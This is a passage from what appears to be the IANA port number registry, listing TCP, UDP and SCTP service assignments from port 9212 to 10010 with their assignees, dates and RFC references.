serverviewdbms     9212        udp    Server View dbms access      [Detlef_Rothe]                                        [Detlef_Rothe]                                            2009-05-15
serverstart        9213        tcp    ServerStart RemoteControl    [Detlef_Rothe]                                        [Detlef_Rothe]                                            2009-05-15
serverstart        9213        udp    ServerStart RemoteControl    [Detlef_Rothe]                                        [Detlef_Rothe]                                            2009-05-15
ipdcesgbs          9214        tcp    IPDC ESG BootstrapService    [Joerg_Heuer]                                         [Joerg_Heuer]                                             2006-02
ipdcesgbs          9214        udp    IPDC ESG BootstrapService    [Joerg_Heuer]                                         [Joerg_Heuer]                                             2006-02
insis              9215        tcp    Integrated Setup and Install [Markus_Treinen]                                      [Markus_Treinen]                                          2006-02
                                      Service
insis              9215        udp    Integrated Setup and Install [Markus_Treinen]                                      [Markus_Treinen]                                          2006-02
                                      Service
acme               9216        tcp    Aionex Communication         [Mark_Sapp]                                           [Mark_Sapp]                                               2006-04
                                      Management Engine
acme               9216        udp    Aionex Communication         [Mark_Sapp]                                           [Mark_Sapp]                                               2006-04
                                      Management Engine
fsc-port           9217        tcp    FSC Communication Port       [Teijo_Mustonen]                                      [Teijo_Mustonen]                                          2002-03
fsc-port           9217        udp    FSC Communication Port       [Teijo_Mustonen]                                      [Teijo_Mustonen]                                          2002-03
                 9218-9221            Unassigned
teamcoherence      9222        tcp    QSC Team Coherence           [Ewan_McNab]                                          [Ewan_McNab]                                              2004-11
teamcoherence      9222        udp    QSC Team Coherence           [Ewan_McNab]                                          [Ewan_McNab]                                              2004-11
                 9223-9254            Unassigned
mon                9255        tcp    Manager On Network           [David_Rouchet]                                       [David_Rouchet]                                           2007-05
mon                9255        udp    Manager On Network           [David_Rouchet]                                       [David_Rouchet]                                           2007-05
                 9256-9276            Unassigned
traingpsdata       9277        udp    GPS Data transmitted from    [Alstom_Transport_Preston]                            [Paul_Steane]                                             2012-12-14
                                      train to ground network
                   9277        tcp    Reserved
pegasus            9278        tcp    Pegasus GPS Platform         [Nestor_A_Diaz]                                       [Nestor_A_Diaz]                                           2009-05-12
pegasus            9278        udp    Pegasus GPS Platform         [Nestor_A_Diaz]                                       [Nestor_A_Diaz]                                           2009-05-12
pegasus-ctl        9279        tcp    Pegaus GPS System Control    [Nestor_A_Diaz]                                       [Nestor_A_Diaz]                                           2009-05-12
                                      Interface
pegasus-ctl        9279        udp    Pegaus GPS System Control    [Nestor_A_Diaz]                                       [Nestor_A_Diaz]                                           2009-05-12
                                      Interface
pgps               9280        tcp    Predicted GPS                [Jeremy_Freeman]                                      [Jeremy_Freeman]                                          2008-02-14
pgps               9280        udp    Predicted GPS                [Jeremy_Freeman]                                      [Jeremy_Freeman]                                          2008-02-14
swtp-port1         9281        tcp    SofaWare transport port 1    [Amir_Rapson]                                         [Amir_Rapson]                                             2002-02
swtp-port1         9281        udp    SofaWare transport port 1    [Amir_Rapson]                                         [Amir_Rapson]                                             2002-02
swtp-port2         9282        tcp    SofaWare transport port 2    [Amir_Rapson]                                         [Amir_Rapson]                                             2002-02
swtp-port2         9282        udp    SofaWare transport port 2    [Amir_Rapson]                                         [Amir_Rapson]                                             2002-02
callwaveiam        9283        tcp    CallWaveIAM                  [Colin_Kelley]                                        [Colin_Kelley]
callwaveiam        9283        udp    CallWaveIAM                  [Colin_Kelley]                                        [Colin_Kelley]
visd               9284        tcp    VERITAS Information Serve    [Ravi_Tavakely]                                       [Ravi_Tavakely]                                           2002-02
visd               9284        udp    VERITAS Information Serve    [Ravi_Tavakely]                                       [Ravi_Tavakely]                                           2002-02
n2h2server         9285        tcp    N2H2 Filter Service Port     [Jim_Irwin]                                           [Jim_Irwin]                                               2002-02
n2h2server         9285        udp    N2H2 Filter Service Port     [Jim_Irwin]                                           [Jim_Irwin]                                               2002-02
                   9286        tcp    Reserved
n2receive          9286        udp    n2 monitoring receiver       [Peter_van_Dijk]                                      [Peter_van_Dijk]                                          2011-01-10
cumulus            9287        tcp    Cumulus                      [Thomas_Schleu]                                       [Thomas_Schleu]
cumulus            9287        udp    Cumulus                      [Thomas_Schleu]                                       [Thomas_Schleu]
                 9288-9291            Unassigned
armtechdaemon      9292        tcp    ArmTech Daemon               [Rohan_Story]                                         [Rohan_Story]
armtechdaemon      9292        udp    ArmTech Daemon               [Rohan_Story]                                         [Rohan_Story]
storview           9293        tcp    StorView Client              [Ryan_Smith]                                          [Ryan_Smith]                                              2006-07
storview           9293        udp    StorView Client              [Ryan_Smith]                                          [Ryan_Smith]                                              2006-07
armcenterhttp      9294        tcp    ARMCenter http Service       [Eric_Thiebaut_George]                                [Eric_Thiebaut_George]                                    2006-04
armcenterhttp      9294        udp    ARMCenter http Service       [Eric_Thiebaut_George]                                [Eric_Thiebaut_George]                                    2006-04
armcenterhttps     9295        tcp    ARMCenter https Service      [Eric_Thiebaut_George]                                [Eric_Thiebaut_George]                                    2006-04
armcenterhttps     9295        udp    ARMCenter https Service      [Eric_Thiebaut_George]                                [Eric_Thiebaut_George]                                    2006-04
                 9296-9299            Unassigned
vrace              9300        tcp    Virtual Racing Service       [Pete_Loeffen]                                        [Pete_Loeffen]                                            2006-10
vrace              9300        udp    Virtual Racing Service       [Pete_Loeffen]                                        [Pete_Loeffen]                                            2006-10
                 9301-9305            Unassigned
sphinxql           9306        tcp    Sphinx search server (MySQL  [Andrew_Aksyonoff]                                    [Andrew_Aksyonoff]                                        2009-10-20
                                      listener)
                   9306        udp    Reserved
                 9307-9311            Unassigned
sphinxapi          9312        tcp    Sphinx search server         [Andrew_Aksyonoff]                                    [Andrew_Aksyonoff]                                        2009-10-20
                   9312        udp    Reserved
                 9313-9317            Unassigned
secure-ts          9318        tcp    PKIX TimeStamp over TLS      [Niklas_Weiss]                                        [Niklas_Weiss]                                            2004-11
secure-ts          9318        udp    PKIX TimeStamp over TLS      [Niklas_Weiss]                                        [Niklas_Weiss]                                            2004-11
                 9319-9320            Unassigned
guibase            9321        tcp    guibase                      [Yutaka_Ono]                                          [Yutaka_Ono]
guibase            9321        udp    guibase                      [Yutaka_Ono]                                          [Yutaka_Ono]
                 9322-9342            Unassigned
mpidcmgr           9343        tcp    MpIdcMgr                     [Yutaka_Ono]                                          [Yutaka_Ono]
mpidcmgr           9343        udp    MpIdcMgr                     [Yutaka_Ono]                                          [Yutaka_Ono]
mphlpdmc           9344        tcp    Mphlpdmc                     [Yutaka_Ono]                                          [Yutaka_Ono]
mphlpdmc           9344        udp    Mphlpdmc                     [Yutaka_Ono]                                          [Yutaka_Ono]
rancher            9345        tcp    Rancher Agent                [Rancher_Labs_Inc]                                    [Vincent_Fiduccia]                                        2015-04-14
                   9345        udp    Reserved
ctechlicensing     9346        tcp    C Tech Licensing             [Reed_Copsey_Jr]                                      [Reed_Copsey_Jr]
ctechlicensing     9346        udp    C Tech Licensing             [Reed_Copsey_Jr]                                      [Reed_Copsey_Jr]
                 9347-9373            Unassigned
fjdmimgr           9374        tcp    fjdmimgr                     [Yutaka_Ono]                                          [Yutaka_Ono]
fjdmimgr           9374        udp    fjdmimgr                     [Yutaka_Ono]                                          [Yutaka_Ono]
                 9375-9379            Unassigned
boxp               9380        tcp    Brivs! Open Extensible       [Danko_Alexeyev]                                      [Danko_Alexeyev]                                          2007-08-08
                                      Protocol
boxp               9380        udp    Brivs! Open Extensible       [Danko_Alexeyev]                                      [Danko_Alexeyev]                                          2007-08-08
                                      Protocol
                 9381-9386            Unassigned
d2dconfig          9387        tcp    D2D Configuration Service    [Pete_Camble]                                         [Pete_Camble]                                             2008-12-24
                   9387        udp    Reserved
d2ddatatrans       9388        tcp    D2D Data Transfer Service    [Pete_Camble]                                         [Pete_Camble]                                             2008-12-24
                   9388        udp    Reserved
adws               9389        tcp    Active Directory Web         [Nitin_Gupta]                                         [Nitin_Gupta]                                             2008-12-24
                                      Services
                   9389        udp    Reserved
otp                9390        tcp    OpenVAS Transfer Protocol    [Tim_Brown]                                           [Tim_Brown]                                               2008-12-24
                   9390        udp    Reserved
                 9391-9395            Unassigned
fjinvmgr           9396        tcp    fjinvmgr                     [Yutaka_Ono]                                          [Yutaka_Ono]
fjinvmgr           9396        udp    fjinvmgr                     [Yutaka_Ono]                                          [Yutaka_Ono]
mpidcagt           9397        tcp    MpIdcAgt                     [Yutaka_Ono]                                          [Yutaka_Ono]
mpidcagt           9397        udp    MpIdcAgt                     [Yutaka_Ono]                                          [Yutaka_Ono]
                 9398-9399            Unassigned
sec-t4net-srv      9400        tcp    Samsung Twain for Network    [Dongkeun_Kim]                                        [Dongkeun_Kim]                                            2007-02
                                      Server
sec-t4net-srv      9400        udp    Samsung Twain for Network    [Dongkeun_Kim]                                        [Dongkeun_Kim]                                            2007-02
                                      Server
sec-t4net-clt      9401        tcp    Samsung Twain for Network    [Dongkeun_Kim]                                        [Dongkeun_Kim]                                            2007-02
                                      Client
sec-t4net-clt      9401        udp    Samsung Twain for Network    [Dongkeun_Kim]                                        [Dongkeun_Kim]                                            2007-02
                                      Client
sec-pc2fax-srv     9402        tcp    Samsung PC2FAX for Network   [HyeongBae_Yu]                                        [HyeongBae_Yu]                                            2008-07-31
                                      Server
sec-pc2fax-srv     9402        udp    Samsung PC2FAX for Network   [HyeongBae_Yu]                                        [HyeongBae_Yu]                                            2008-07-31
                                      Server
                 9403-9417            Unassigned
git                9418        tcp    git pack transfer service    [Linus_Torvalds]                                      [Linus_Torvalds]                                          2005-09
git                9418        udp    git pack transfer service    [Linus_Torvalds]                                      [Linus_Torvalds]                                          2005-09
                 9419-9442            Unassigned
tungsten-https     9443        tcp    WSO2 Tungsten HTTPS          [Afkham_Azeez]                                        [Afkham_Azeez]                                            2006-06
tungsten-https     9443        udp    WSO2 Tungsten HTTPS          [Afkham_Azeez]                                        [Afkham_Azeez]                                            2006-06
wso2esb-console    9444        tcp    WSO2 ESB Administration      [Ruwan_Linton]                                        [Ruwan_Linton]                                            2008-08-20
                                      Console HTTPS
wso2esb-console    9444        udp    WSO2 ESB Administration      [Ruwan_Linton]                                        [Ruwan_Linton]                                            2008-08-20
                                      Console HTTPS
mindarray-ca       9445        tcp    MindArray Systems Console    [MINDARRAY_SYSTEMS]                                   [ALPESH_DHAMELIA]                                         2011-10-25
                                      Agent
                   9445        udp    Reserved
                 9446-9449            Unassigned
sntlkeyssrvr       9450        tcp    Sentinel Keys Server         [Martin_Ziskind]                                      [Martin_Ziskind]                                          2008-08-21
sntlkeyssrvr       9450        udp    Sentinel Keys Server         [Martin_Ziskind]                                      [Martin_Ziskind]                                          2008-08-21
                 9451-9499            Unassigned
ismserver          9500        tcp    ismserver                    [Ian_Gordon_3]                                        [Ian_Gordon_3]
ismserver          9500        udp    ismserver                    [Ian_Gordon_3]                                        [Ian_Gordon_3]
                 9501-9521            Unassigned
                   9522        tcp    Reserved
sma-spw            9522        udp    SMA Speedwire                [SMA_Solar_Techology]                                 [SMA_Solar_Techology]                                     2011-03-08
                 9523-9534            Unassigned
mngsuite           9535        tcp    Management Suite Remote      [Trevor_Perkes]                                       [Trevor_Perkes]                                           2010-02-01
                                      Control
mngsuite           9535        udp    Management Suite Remote      [Trevor_Perkes]                                       [Trevor_Perkes]                                           2010-02-01
                                      Control
laes-bf            9536        tcp    Surveillance buffering       [Glen_Myers]                                          [Glen_Myers]                                              2007-05
                                      function
laes-bf            9536        udp    Surveillance buffering       [Glen_Myers]                                          [Glen_Myers]                                              2007-05
                                      function
                 9537-9554            Unassigned
trispen-sra        9555        tcp    Trispen Secure Remote Access [Jaco_Botha]                                          [Jaco_Botha]                                              2004-11
trispen-sra        9555        udp    Trispen Secure Remote Access [Jaco_Botha]                                          [Jaco_Botha]                                              2004-11
                 9556-9591            Unassigned
ldgateway          9592        tcp    LANDesk Gateway              [Alan_Butt]                                           [Alan_Butt]                                               2006-03
ldgateway          9592        udp    LANDesk Gateway              [Alan_Butt]                                           [Alan_Butt]                                               2006-03
cba8               9593        tcp    LANDesk Management Agent     [Trevor_Perkes]                                       [Trevor_Perkes]                                           2010-02-01
                                      (cba8)
cba8               9593        udp    LANDesk Management Agent     [Trevor_Perkes]                                       [Trevor_Perkes]                                           2010-02-01
                                      (cba8)
msgsys             9594        tcp    Message System               [Alan_Butt]                                           [Alan_Butt]
msgsys             9594        udp    Message System               [Alan_Butt]                                           [Alan_Butt]
pds                9595        tcp    Ping Discovery Service       [Alan_Butt]                                           [Alan_Butt]
pds                9595        udp    Ping Discovery Service       [Alan_Butt]                                           [Alan_Butt]
mercury-disc       9596        tcp    Mercury Discovery            [Paul_Mclachlan]                                      [Paul_Mclachlan]                                          2005-11
mercury-disc       9596        udp    Mercury Discovery            [Paul_Mclachlan]                                      [Paul_Mclachlan]                                          2005-11
pd-admin           9597        tcp    PD Administration            [Duk_Loi]                                             [Duk_Loi]                                                 2005-11
pd-admin           9597        udp    PD Administration            [Duk_Loi]                                             [Duk_Loi]                                                 2005-11
vscp               9598        tcp    Very Simple Ctrl Protocol    [Ake_Hedman]                                          [Ake_Hedman]                                              2005-11
vscp               9598        udp    Very Simple Ctrl Protocol    [Ake_Hedman]                                          [Ake_Hedman]                                              2005-11
robix              9599        tcp    Robix                        [Evan_Rosen]                                          [Evan_Rosen]                                              2005-11
robix              9599        udp    Robix                        [Evan_Rosen]                                          [Evan_Rosen]                                              2005-11
micromuse-ncpw     9600        tcp    MICROMUSE-NCPW               [Hing_Wing_To_2]                                      [Hing_Wing_To_2]
micromuse-ncpw     9600        udp    MICROMUSE-NCPW               [Hing_Wing_To_2]                                      [Hing_Wing_To_2]
                 9601-9611            Unassigned
streamcomm-ds      9612        tcp    StreamComm User Directory    [Brian_C_Wiles]                                       [Brian_C_Wiles]
streamcomm-ds      9612        udp    StreamComm User Directory    [Brian_C_Wiles]                                       [Brian_C_Wiles]
                   9613               Unassigned
iadt-tls           9614        tcp    iADT Protocol over TLS       [Paul_A_Suhler]                                       [Paul_A_Suhler]                                           2009-02-05
                   9614        udp    Reserved
                   9615               Unassigned
                                      eRunbook Agent

erunbook-agent     9616        tcp    IANA assigned this           [Gerhard_Wagner]                                      [Gerhard_Wagner]                                          2009-03-10
                                      well-formed service name as
                                      a replacement for
                                      "erunbook_agent".
                                                                                                                                                                                                                                                                                  This entry is an alias to "erunbook-agent". This entry is now
erunbook_agent     9616        tcp    eRunbook Agent               [Gerhard_Wagner]                                      [Gerhard_Wagner]                                          2009-03-10                                                                                     historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
                   9616        udp    Reserved
                                      eRunbook Server

erunbook-server    9617        tcp    IANA assigned this           [Gerhard_Wagner]                                      [Gerhard_Wagner]                                          2009-03-10
                                      well-formed service name as
                                      a replacement for
                                      "erunbook_server".
                                                                                                                                                                                                                                                                                  This entry is an alias to "erunbook-server". This entry is
erunbook_server    9617        tcp    eRunbook Server              [Gerhard_Wagner]                                      [Gerhard_Wagner]                                          2009-03-10                                                                                     now historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
                   9617        udp    Reserved
condor             9618        tcp    Condor Collector Service     [Todd_Tannenbaum]                                     [Todd_Tannenbaum]                                         2008-04-03
condor             9618        udp    Condor Collector Service     [Todd_Tannenbaum]                                     [Todd_Tannenbaum]                                         2008-04-03
                 9619-9627            Unassigned
odbcpathway        9628        tcp    ODBC Pathway Service         [Adrian_Hungate]                                      [Adrian_Hungate]                                          2007-05
odbcpathway        9628        udp    ODBC Pathway Service         [Adrian_Hungate]                                      [Adrian_Hungate]                                          2007-05
uniport            9629        tcp    UniPort SSO Controller       [Adrian_Hungate]                                      [Adrian_Hungate]                                          2007-09-05
uniport            9629        udp    UniPort SSO Controller       [Adrian_Hungate]                                      [Adrian_Hungate]                                          2007-09-05
peoctlr            9630        tcp    Peovica Controller           [Adrian_Hungate]                                      [Adrian_Hungate]                                          2009-09-14
                   9630        udp    Reserved
peocoll            9631        tcp    Peovica Collector            [Adrian_Hungate]                                      [Adrian_Hungate]                                          2009-09-14
                   9631        udp    Reserved
                   9632        tcp    Reserved
mc-comm            9632        udp    Mobile-C Communications      [David_Ko_2]                                          [David_Ko_2]                                              2009-09-14
                 9633-9639            Unassigned
pqsflows           9640        tcp    ProQueSys Flows Service      [Sarene_Caiazza]                                      [Sarene_Caiazza]                                          2010-04-27
                   9640        udp    Reserved
                 9641-9665            Unassigned
zoomcp             9666        tcp    Zoom Control Panel Game      [Zoom_Control_Panel]                                  [Joshua_Pedroza]                                          2014-02-26
                                      Server Management
                   9666        udp    Reserved
xmms2              9667        tcp    Cross-platform Music         [Juho_Herttua]                                        [Juho_Herttua]                                            2009-04-14
                                      Multiplexing System
xmms2              9667        udp    Cross-platform Music         [Juho_Herttua]                                        [Juho_Herttua]
                                      Multiplexing System
tec5-sdctp         9668        tcp    tec5 Spectral Device Control [Michael_Muth]                                        [Michael_Muth]                                            2009-05-11
                                      Protocol
tec5-sdctp         9668        udp    tec5 Spectral Device Control [Michael_Muth]                                        [Michael_Muth]                                            2009-05-11
                                      Protocol
                 9669-9693            Unassigned
client-wakeup      9694        tcp    T-Mobile Client Wakeup       [Michael_Schonborn]                                   [Michael_Schonborn]                                       2009-09-11
                                      Message
client-wakeup      9694        udp    T-Mobile Client Wakeup       [Michael_Schonborn]                                   [Michael_Schonborn]                                       2009-09-11
                                      Message
ccnx               9695        tcp    Content Centric Networking   [Van_Jacobson_2][Simon_Barber]                        [Van_Jacobson_2][Simon_Barber]                            2009-09-29
ccnx               9695        udp    Content Centric Networking   [Van_Jacobson_2][Simon_Barber]                        [Van_Jacobson_2][Simon_Barber]                            2009-09-29
                 9696-9699            Unassigned
board-roar         9700        tcp    Board M.I.T. Service         [Francesco_Rosi]                                      [Francesco_Rosi]                                          2006-01
board-roar         9700        udp    Board M.I.T. Service         [Francesco_Rosi]                                      [Francesco_Rosi]                                          2006-01
                 9701-9746            Unassigned
l5nas-parchan      9747        tcp    L5NAS Parallel Channel       [Lawrence_J_Dickson]                                  [Lawrence_J_Dickson]                                      2002-03
l5nas-parchan      9747        udp    L5NAS Parallel Channel       [Lawrence_J_Dickson]                                  [Lawrence_J_Dickson]                                      2002-03
                 9748-9749            Unassigned
board-voip         9750        tcp    Board M.I.T. Synchronous     [Francesco_Rosi]                                      [Francesco_Rosi]                                          2006-01
                                      Collaboration
board-voip         9750        udp    Board M.I.T. Synchronous     [Francesco_Rosi]                                      [Francesco_Rosi]                                          2006-01
                                      Collaboration
                 9751-9752            Unassigned
rasadv             9753        tcp    rasadv                       [Dave_Thaler_2]                                       [Dave_Thaler_2]
rasadv             9753        udp    rasadv                       [Dave_Thaler_2]                                       [Dave_Thaler_2]
                 9754-9761            Unassigned
tungsten-http      9762        tcp    WSO2 Tungsten HTTP           [Afkham_Azeez]                                        [Afkham_Azeez]                                            2006-06
tungsten-http      9762        udp    WSO2 Tungsten HTTP           [Afkham_Azeez]                                        [Afkham_Azeez]                                            2006-06
                 9763-9799            Unassigned
davsrc             9800        tcp    WebDav Source Port           [Ethan_Fremen]                                        [Ethan_Fremen]
davsrc             9800        udp    WebDav Source Port           [Ethan_Fremen]                                        [Ethan_Fremen]
sstp-2             9801        tcp    Sakura Script Transfer       [Kouichi_Takeda_2]                                    [Kouichi_Takeda_2]
                                      Protocol-2
sstp-2             9801        udp    Sakura Script Transfer       [Kouichi_Takeda_2]                                    [Kouichi_Takeda_2]
                                      Protocol-2
davsrcs            9802        tcp    WebDAV Source TLS/SSL        [Rob_Isaac]                                           [Rob_Isaac]                                               2003-07
davsrcs            9802        udp    WebDAV Source TLS/SSL        [Rob_Isaac]                                           [Rob_Isaac]                                               2003-07
                 9803-9874            Unassigned
sapv1              9875        tcp    Session Announcement v1                                                                                                                                                [RFC2974]
sapv1              9875        udp    Session Announcement v1                                                                                                                                                [RFC2974]
sd                 9876        tcp    Session Director             [Van_Jacobson]                                        [Van_Jacobson]
                   9877               Unassigned
                                      The KX509 Kerberized                                                                                                                                                                                                                        Historically, this service has been referred to as
kca-service        9878        udp    Certificate Issuance         [IESG]                                                [IETF_Chair]                                              2012-07-12                [RFC6717]                                                            "kca_service", but this service name does not meet the
                                      Protocol in Use in 2012                                                                                                                                                                                                                     registry requirements.
                   9878        tcp    Reserved
                 9879-9887            Unassigned
cyborg-systems     9888        tcp    CYBORG Systems               [Malcolm_Graham]                                      [Malcolm_Graham]
cyborg-systems     9888        udp    CYBORG Systems               [Malcolm_Graham]                                      [Malcolm_Graham]
                                      Port for Cable network
gt-proxy           9889        tcp    related data proxy or        [Dawei_Qi]                                            [Dawei_Qi]                                                2010-07-07
                                      repeater
                                      Port for Cable network
gt-proxy           9889        udp    related data proxy or        [Dawei_Qi]                                            [Dawei_Qi]                                                2010-07-07
                                      repeater
                 9890-9897            Unassigned
monkeycom          9898        tcp    MonkeyCom                    [Yuji_Kuwabara]                                       [Yuji_Kuwabara]
monkeycom          9898        udp    MonkeyCom                    [Yuji_Kuwabara]                                       [Yuji_Kuwabara]
                   9899        tcp    Reserved                                                                                                                                                  2013-04-10
sctp-tunneling     9899        udp    SCTP TUNNELING               [IESG]                                                [IETF_Chair]                                                           2013-04-10   [RFC6951]
iua                9900        tcp    IUA                          [Lyndon_Ong_2]                                        [Lyndon_Ong_2]
iua                9900        udp    IUA                          [Lyndon_Ong_2]                                        [Lyndon_Ong_2]
iua                9900       sctp    IUA                          [Lyndon_Ong_2]                                        [Lyndon_Ong_2]
enrp               9901        udp    enrp server channel
enrp-sctp          9901       sctp    enrp server channel                                                                                                                                                    [RFC5353]
enrp-sctp-tls      9902       sctp    enrp/tls server channel                                                                                                                                                [RFC5353]
                   9903        tcp    Reserved
multicast-ping     9903        udp    Multicast Ping Protocol                                                                                                                                   2011-12-09   [RFC6450]
                 9904-9908            Unassigned
domaintime         9909        tcp    domaintime                   [Jeffry_Dwight]                                       [Jeffry_Dwight]
domaintime         9909        udp    domaintime                   [Jeffry_Dwight]                                       [Jeffry_Dwight]
                   9910               Unassigned
sype-transport     9911        tcp    SYPECom Transport Protocol   [Sylvain_Pedneault]                                   [Sylvain_Pedneault]                                       2003-03
sype-transport     9911        udp    SYPECom Transport Protocol   [Sylvain_Pedneault]                                   [Sylvain_Pedneault]                                       2003-03
                 9912-9924            Unassigned
xybrid-cloud       9925        tcp    XYBRID Cloud                 [Rx_Networks_Inc_2]                                   [Drew_Davies_2]                                           2013-04-25
                   9925        udp    Reserved
                 9926-9949            Unassigned
apc-9950           9950        tcp    APC 9950                     [American_Power_Conve]                                [American_Power_Conve]
apc-9950           9950        udp    APC 9950                     [American_Power_Conve]                                [American_Power_Conve]
apc-9951           9951        tcp    APC 9951                     [American_Power_Conve]                                [American_Power_Conve]
apc-9951           9951        udp    APC 9951                     [American_Power_Conve]                                [American_Power_Conve]
apc-9952           9952        tcp    APC 9952                     [American_Power_Conve]                                [American_Power_Conve]
apc-9952           9952        udp    APC 9952                     [American_Power_Conve]                                [American_Power_Conve]
acis               9953        tcp    9953                         [Thomas_Guth]                                         [Thomas_Guth]                                             2006-01
acis               9953        udp    9953                         [Thomas_Guth]                                         [Thomas_Guth]                                             2006-01
hinp               9954        tcp    HaloteC Instrument Network   [HaloteC_Instruments]                                 [Michel_Stam]                                             2012-02-07
                                      Protocol
                   9954        udp    Reserved
alljoyn-stm        9955        tcp    Contact Port for AllJoyn     [Qualcomm_Innovation_Center]                          [Craig_Dowell]                                            2012-03-14
                                      standard messaging
                                      Contact Port for AllJoyn
alljoyn-mcm        9955        udp    multiplexed constrained      [Qualcomm_Innovation_Center]                          [Craig_Dowell]                                            2012-03-14
                                      messaging
                   9956        tcp    Reserved
alljoyn            9956        udp    Alljoyn Name Service         [Qualcomm_Innovation_Center]                          [Craig_Dowell]                                            2011-12-21
                 9957-9965            Unassigned
odnsp              9966        tcp    OKI Data Network Setting     [Masato_Sato]                                         [Masato_Sato]                                             2006-05
                                      Protocol
odnsp              9966        udp    OKI Data Network Setting     [Masato_Sato]                                         [Masato_Sato]                                             2006-05
                                      Protocol
                 9967-9977            Unassigned
xybrid-rt          9978        tcp    XYBRID RT Server             [Rx_Networks_Inc]                                     [Drew_Davies]                                             2013-01-24
                   9978        udp    Reserved
visweather         9979        tcp    Valley Information Systems   [Valley_Information_Systems_Inc]                      [Michael_Walsh_2]                                         2017-05-12
                                      Weather station data
                   9979        udp    Reserved
                   9980               Unassigned
                                      Event sourcing database
pumpkindb          9981        tcp    engine with a built-in       [Eventsourcing_Inc]                                   [Yurii_Rashkovskii]                                       2017-04-18
                                      programming language
                   9981        udp    Reserved
                 9982-9986            Unassigned
dsm-scm-target     9987        tcp    DSM/SCM Target Interface     [Mike_Dyslin]                                         [Mike_Dyslin]                                             2006-08
dsm-scm-target     9987        udp    DSM/SCM Target Interface     [Mike_Dyslin]                                         [Mike_Dyslin]                                             2006-08
nsesrvr            9988        tcp    Software Essentials Secure   [Narayanan_Raju]                                      [Narayanan_Raju]                                          2009-02-05
                                      HTTP server
                   9988        udp    Reserved
                 9989-9989            Unassigned
osm-appsrvr        9990        tcp    OSM Applet Server            [Vinay_Gupta]                                         [Vinay_Gupta]                                             2003-08
osm-appsrvr        9990        udp    OSM Applet Server            [Vinay_Gupta]                                         [Vinay_Gupta]                                             2003-08
osm-oev            9991        tcp    OSM Event Server             [Vinay_Gupta]                                         [Vinay_Gupta]                                             2003-08
osm-oev            9991        udp    OSM Event Server             [Vinay_Gupta]                                         [Vinay_Gupta]                                             2003-08
palace-1           9992        tcp    OnLive-1                     [Douglas_Crockford]                                   [Douglas_Crockford]
palace-1           9992        udp    OnLive-1                     [Douglas_Crockford]                                   [Douglas_Crockford]
palace-2           9993        tcp    OnLive-2                     [Douglas_Crockford]                                   [Douglas_Crockford]
palace-2           9993        udp    OnLive-2                     [Douglas_Crockford]                                   [Douglas_Crockford]
palace-3           9994        tcp    OnLive-3                     [Douglas_Crockford]                                   [Douglas_Crockford]
palace-3           9994        udp    OnLive-3                     [Douglas_Crockford]                                   [Douglas_Crockford]
palace-4           9995        tcp    Palace-4                     [Douglas_Crockford]                                   [Douglas_Crockford]
palace-4           9995        udp    Palace-4                     [Douglas_Crockford]                                   [Douglas_Crockford]
palace-5           9996        tcp    Palace-5                     [Douglas_Crockford]                                   [Douglas_Crockford]
palace-5           9996        udp    Palace-5                     [Douglas_Crockford]                                   [Douglas_Crockford]
palace-6           9997        tcp    Palace-6                     [Douglas_Crockford]                                   [Douglas_Crockford]
palace-6           9997        udp    Palace-6                     [Douglas_Crockford]                                   [Douglas_Crockford]
distinct32         9998        tcp    Distinct32                   [Anoop_Tewari]                                        [Anoop_Tewari]
distinct32         9998        udp    Distinct32                   [Anoop_Tewari]                                        [Anoop_Tewari]
distinct           9999        tcp    distinct                     [Anoop_Tewari]                                        [Anoop_Tewari]
distinct           9999        udp    distinct                     [Anoop_Tewari]                                        [Anoop_Tewari]
ndmp               10000       tcp    Network Data Management      [Brian_Ehrmantraut]                                   [Brian_Ehrmantraut]
                                      Protocol
ndmp               10000       udp    Network Data Management      [Brian_Ehrmantraut]                                   [Brian_Ehrmantraut]
                                      Protocol
scp-config         10001       tcp    SCP Configuration            [Michael_Benz]                                        [Michael_Benz]                                            2010-08-06
scp-config         10001       udp    SCP Configuration            [Michael_Benz]                                        [Michael_Benz]                                            2010-08-06
documentum         10002       tcp    EMC-Documentum Content       [Reza_Bagherian]                                      [Reza_Bagherian]                                          2007-07-19
                                      Server Product
documentum         10002       udp    EMC-Documentum Content       [Reza_Bagherian]                                      [Reza_Bagherian]                                          2007-07-19
                                      Server Product
                                      EMC-Documentum Content
                                      Server Product

documentum-s       10003       tcp    IANA assigned this           [Reza_Bagherian]                                      [Reza_Bagherian]                                          2007-07-19
                                      well-formed service name as
                                      a replacement for
                                      "documentum_s".
                                      EMC-Documentum Content                                                                                                                                                                                                                      This entry is an alias to "documentum-s". This entry is now
documentum_s       10003       tcp    Server Product               [Reza_Bagherian]                                      [Reza_Bagherian]                                          2007-07-19                                                                                     historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
                                      EMC-Documentum Content
                                      Server Product

documentum-s       10003       udp    IANA assigned this           [Reza_Bagherian]                                      [Reza_Bagherian]                                          2007-07-19
                                      well-formed service name as
                                      a replacement for
                                      "documentum_s".
                                      EMC-Documentum Content                                                                                                                                                                                                                      This entry is an alias to "documentum-s". This entry is now
documentum_s       10003       udp    Server Product               [Reza_Bagherian]                                      [Reza_Bagherian]                                          2007-07-19                                                                                     historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
emcrmirccd         10004       tcp    EMC Replication Manager      [Robert_Boudrie]                                      [Robert_Boudrie]                                          2008-06-09
                                      Client
                   10004       udp    Reserved
emcrmird           10005       tcp    EMC Replication Manager      [Robert_Boudrie]                                      [Robert_Boudrie]                                          2008-06-09
                                      Server
                   10005       udp    Reserved
                                      Sync replication protocol
netapp-sync        10006       tcp    among different NetApp       [NetApp_2]                                            [Paul_Mu]                                                 2014-08-07
                                      platforms
                   10006       udp    Reserved
mvs-capacity       10007       tcp    MVS Capacity                 [Donna_Dillenberger]                                  [Donna_Dillenberger]
mvs-capacity       10007       udp    MVS Capacity                 [Donna_Dillenberger]                                  [Donna_Dillenberger]
octopus            10008       tcp    Octopus Multiplexer          [Chris_Koeritz_2]                                     [Chris_Koeritz_2]                                         2002-10
octopus            10008       udp    Octopus Multiplexer          [Chris_Koeritz_2]                                     [Chris_Koeritz_2]                                         2002-10
swdtp-sv           10009       tcp    Systemwalker Desktop Patrol  [Akira_Ide]                                           [Akira_Ide]                                               2006-03
swdtp-sv           10009       udp    Systemwalker Desktop Patrol  [Akira_Ide]                                           [Akira_Ide]                                               2006-03
rxapi              10010       tcp    ooRexx rxapi services        [David_Ashley]                                        [David_Ashley]                                            2009-07-24
                   10010       udp    Reserved
